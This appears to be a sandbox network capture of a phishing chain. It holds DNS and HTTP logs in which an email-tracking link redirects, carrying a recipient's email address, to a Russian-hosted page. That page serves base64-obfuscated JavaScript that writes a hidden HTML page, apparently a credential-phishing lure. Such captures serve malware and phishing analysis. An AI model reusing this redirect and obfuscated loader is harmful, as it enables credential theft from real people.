Mar 18, 2025 18:17:21.373526096 CET	53	51277	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:25.336508989 CET	62939	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:25.336625099 CET	61292	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:25.366234064 CET	53	61292	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:25.373363018 CET	53	62939	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:27.067074060 CET	53	51327	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:27.069446087 CET	60847	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:27.069726944 CET	63827	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:27.076067924 CET	53	60847	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:27.078713894 CET	53	63827	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:27.819530964 CET	57836	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:27.819669962 CET	53050	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:27.837037086 CET	53	53050	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:27.870006084 CET	59807	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:27.870284081 CET	49332	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:27.878179073 CET	53	57836	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:27.878196955 CET	53	59807	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:27.878206968 CET	53	49332	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:29.018309116 CET	62938	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:29.018491983 CET	60925	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:29.027353048 CET	53	62938	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:29.033113956 CET	53	60925	1.1.1.1	192.168.2.4

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 18, 2025 18:14:44.859181881 CET	192.168.2.4	1.1.1.1	c2dc	(Port unreachable)	Destination Unreachable
Mar 18, 2025 18:17:15.099488974 CET	192.168.2.4	1.1.1.1	c2dc	(Port unreachable)	Destination Unreachable
Mar 18, 2025 18:17:17.376890898 CET	192.168.2.4	1.1.1.1	c2dc	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 18, 2025 18:14:45.246577024 CET	603	OUT	GET /link?messageId=%3Cbf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com%3E&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.com HTTP/1.1 Host: emailtracking.scopeappointmentforyou.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Mar 18, 2025 18:14:46.102662086 CET	421	IN	HTTP/1.1 302 Found Date: Tue, 18 Mar 2025 17:14:45 GMT Content-Type: text/html; charset=utf-8 Content-Length: 152 Connection: keep-alive Server: nginx/1.22.1 X-Powered-By: Express Location: https://o0O6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.com Vary: Accept Data Raw: 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 30 4f 36 2e 62 76 79 75 6e 7a 2e 72 75 2f 33 76 34 6a 66 51 2d 63 55 6f 2f 2a 6d 73 68 69 65 72 72 79 40 6d 75 6e 73 63 68 2e 63 6f 6d 22 3e 68 74 74 70 73 3a 2f 2f 6f 30 4f 36 2e 62 76 79 75 6e 7a 2e 72 75 2f 33 76 34 6a 66 51 2d 63 55 6f 2f 2a 6d 73 68 69 65 72 72 79 40 6d 75 6e 73 63 68 2e 63 6f 6d 3c 2f 61 3e 3c 2f 70 3e Data Ascii: <p>Found. Redirecting to <a href="https://o0O6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.com">https://o0O6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com</a></p>
Mar 18, 2025 18:15:31.116333008 CET	6	OUT	Data Raw: 00 Data Ascii:
Mar 18, 2025 18:16:16.129627943 CET	6	OUT	Data Raw: 00 Data Ascii:
Mar 18, 2025 18:17:01.145255089 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
Mar 18, 2025 18:14:50.725718975 CET	115	OUT	GET / HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/10.0 Host: x1.i.lencr.org
Mar 18, 2025 18:14:51.355606079 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/pkix-cert Last-Modified: Fri, 04 Aug 2023 20:57:56 GMT ETag: "64cd6654-56f" Content-Disposition: attachment; filename="ISRG Root X1.der" Cache-Control: max-age=37531 Expires: Wed, 19 Mar 2025 03:40:22 GMT Date: Tue, 18 Mar 2025 17:14:51 GMT Content-Length: 1391 Connection: keep-alive Data Raw: 30 82 05 6b 30 82 03 53 a0 03 02 01 02 02 11 00 82 10 cf b0 d2 40 e3 59 44 63 e0 bb 63 82 8b 00 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 1e 17 0d 31 35 30 36 30 34 31 31 30 34 33 38 5a 17 0d 33 35 30 36 30 34 31 31 30 34 33 38 5a 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ad e8 24 73 f4 14 37 f3 9b 9e 2b 57 28 1c 87 be dc b7 df 38 90 8c 6e 3c e6 57 a0 78 f7 75 c2 a2 fe f5 6a 6e f6 00 4f 28 db de 68 86 6c 44 93 b6 b1 63 fd 14 12 6b bf 1f d2 ea 31 9b 21 7e d1 33 [TRUNCATED] Data Ascii: 0k0S@YDcc0H0O10UUS1)0'U Internet Security Research Group10UISRG Root X10150604110438Z350604110438Z0O10UUS1)0'U Internet Security Research Group10UISRG Root X10"0H0$s7+W(8n<WxujnO(hlDck1!~3<Hy!KqiJffl~<p)"K~G\|H#S8Oo.IWt/8{p!u0<cOK~w.{JL%p)S$J?aQcq.o[\4ylv;by/&676urIAv5/(ldwnG7Y^hrA)>Y>&$ZL@F:Qn;}rxY>Qx/>{JKsP\|Ctt0[q600\H;}`)A\|;FHvvj=8d+(B"']ypN:'Qnd3COB0@0U0U00UyY{sXn0*HUX
Mar 18, 2025 18:14:51.355643034 CET	509	IN	Data Raw: a9 bc b2 a8 50 d0 0c b1 d8 1a 69 20 27 29 08 ac 61 75 5c 8a 6e f8 82 e5 69 2f d5 f6 56 4b b9 b8 73 10 59 d3 21 97 7e e7 4c 71 fb b2 d2 60 ad 39 a8 0b ea 17 21 56 85 f1 50 0e 59 eb ce e0 59 e9 ba c9 15 ef 86 9d 8f 84 80 f6 e4 e9 91 90 dc 17 9b 62 Data Ascii: Pi ')au\ni/VKsY!~Lq`9!VPYYbEf\|o;'}~"+"4[XT&3L-<W,N;1"ss993#L<U)"k;W:pMMl]+NEJ&rj

Timestamp	Bytes transferred	Direction	Data
Mar 18, 2025 18:14:51.114562988 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 18, 2025 18:14:51.747524977 CET	222	IN	HTTP/1.1 304 Not Modified Date: Tue, 18 Mar 2025 16:58:49 GMT Expires: Tue, 18 Mar 2025 17:48:49 GMT Age: 962 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 18, 2025 18:14:51.751673937 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 18, 2025 18:14:51.934339046 CET	223	IN	HTTP/1.1 304 Not Modified Date: Tue, 18 Mar 2025 16:54:35 GMT Expires: Tue, 18 Mar 2025 17:44:35 GMT Age: 1216 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:14:44 UTC	838	OUT	GET /link?messageId=%3Cbf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com%3E&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.com HTTP/1.1 Host: emailtracking.scopeappointmentforyou.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 17:14:44 UTC	264	IN	HTTP/1.1 302 Found Date: Tue, 18 Mar 2025 17:14:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 152 Connection: close Server: nginx/1.22.1 X-Powered-By: Express Location: https://o0O6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com Vary: Accept
2025-03-18 17:14:44 UTC	152	IN	Data Raw: 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 30 4f 36 2e 62 76 79 75 6e 7a 2e 72 75 2f 33 76 34 6a 66 51 2d 63 55 6f 2f 2a 6d 73 68 69 65 72 72 79 40 6d 75 6e 73 63 68 2e 63 6f 6d 22 3e 68 74 74 70 73 3a 2f 2f 6f 30 4f 36 2e 62 76 79 75 6e 7a 2e 72 75 2f 33 76 34 6a 66 51 2d 63 55 6f 2f 2a 6d 73 68 69 65 72 72 79 40 6d 75 6e 73 63 68 2e 63 6f 6d 3c 2f 61 3e 3c 2f 70 3e Data Ascii: <p>Found. Redirecting to <a href="https://o0O6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.com">https://o0O6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.com</a></p>

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:14:46 UTC	695	OUT	GET /3v4jfQ-cUo/mshierry@munsch.com HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 17:14:47 UTC	1212	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:14:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OF1IvGFXPzFUGiKpNz56fWYxSdpmMXcv%2BQtk4YR79sd9rXx1Rut2Dpc2EqqCHuujxFzQy0hDnEdUK85FYi3ix54AN5EOxi0SQImgrSzgmg1x1pUmwWFUijRdG9CIfLrVEk%2Fy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=50055&min_rtt=49843&rtt_var=19116&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1593&delivery_rate=56186&cwnd=252&unsent_bytes=0&cid=b713384c6d5f7f61&ts=203&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InRpbFRUQWhOdTlCYzhjYUZZc1dJalE9PSIsInZhbHVlIjoiTXMzMGJQRW1yOXJPL0ZjSm1CWUtiVXZhY0xjalJ5NFBlZzEzcWdFUUxjUDg4Z0FwTCtwUUdxNmF1UDJvNXJ3K2ZDa3g0MGptL215QzZ6SEpzbm9oNkhYQ3FhMTdsempaNmpMaFNmZW5xQjlyeXNKYU92dUtIUEplaUlTQzZ0UEciLCJtYWMiOiJjM2RkNmFlNGUyN2FlMzZhNTQwZmQ0OTg0ZjNkMjk1MjA3NmRhZGI4NTJiNTY3ZjJlOTQ4ZjliZmEzZmE4MWE0IiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 19:14:47 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 17:14:47 UTC	763	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 42 58 57 55 4e 58 4e 6c 52 30 57 57 4a 4b 5a 6e 4a 45 51 6c 68 57 64 58 4a 56 54 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 7a 46 43 56 45 55 79 55 45 70 44 65 44 4e 6b 53 7a 4e 53 53 6a 56 4c 63 45 73 35 4f 47 46 53 63 30 49 72 52 56 6c 33 64 55 30 78 64 57 4a 52 55 45 68 57 52 6d 4e 4a 56 55 74 43 63 6d 73 35 63 55 51 76 4d 57 56 7a 5a 58 45 78 4f 56 5a 71 64 6a 64 7a 59 6d 70 35 55 6c 49 7a 4d 57 5a 6b 63 30 52 73 62 33 70 34 61 6b 35 6f 63 47 64 56 51 32 30 76 64 48 64 33 52 46 45 30 55 6e 45 79 52 45 64 6d 55 58 6c 47 4f 44 64 6a 56 79 74 6a 54 6b 70 57 61 47 6c 77 4e 58 5a 58 4c 30 5a 53 61 47 6c 36 57 46 64 79 4d 31 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjBXWUNXNlR0WWJKZnJEQlhWdXJVT3c9PSIsInZhbHVlIjoiYzFCVEUyUEpDeDNkSzNSSjVLcEs5OGFSc0IrRVl3dU0xdWJRUEhWRmNJVUtCcms5cUQvMWVzZXExOVZqdjdzYmp5UlIzMWZkc0Rsb3p4ak5ocGdVQ20vdHd3RFE0UnEyREdmUXlGODdjVytjTkpWaGlwNXZXL0ZSaGl6WFdyM1c
2025-03-18 17:14:47 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 3c 73 63 72 69 70 74 3e 0a 48 73 6a 4f 72 73 6e 67 4e 73 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 33 56 6c 59 75 59 6e 5a 35 64 57 35 36 4c 6e 4a 31 4c 7a 4e 32 4e 47 70 6d 55 53 31 6a 56 57 38 76 22 29 3b 0a 49 4b 56 4d 41 4c 73 76 70 71 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 48 72 54 6a 42 71 64 6a 6e 68 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 48 73 6a 4f 72 73 6e 67 4e 73 20 3d 3d 20 49 4b 56 4d 41 4c 73 76 70 71 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 48 72 54 6a 42 71 64 6a 6e 68 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f Data Ascii: 7ffa<script>HsjOrsngNs = atob("aHR0cHM6Ly83VlYuYnZ5dW56LnJ1LzN2NGpmUS1jVW8v");IKVMALsvpq = atob("bm9tYXRjaA==");HrTjBqdjnh = atob("d3JpdGU=");if(HsjOrsngNs == IKVMALsvpq){document[HrTjBqdjnh](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+Cjxo
2025-03-18 17:14:47 UTC	1369	IN	Data Raw: 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 Data Ascii: Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g4
2025-03-18 17:14:47 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 Data Ascii: k44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44
2025-03-18 17:14:47 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 Data Ascii: 776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk776
2025-03-18 17:14:47 UTC	1369	IN	Data Raw: 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 Data Ascii: 76g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g776g
2025-03-18 17:14:47 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 Data Ascii: 6g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk4
2025-03-18 17:14:47 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 Data Ascii: k44Wk776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk776g776g44Wk776g44Wk776g776g44Wk776g776g776g77
2025-03-18 17:14:47 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 Data Ascii: 776g776g44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776
2025-03-18 17:14:47 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 Data Ascii: 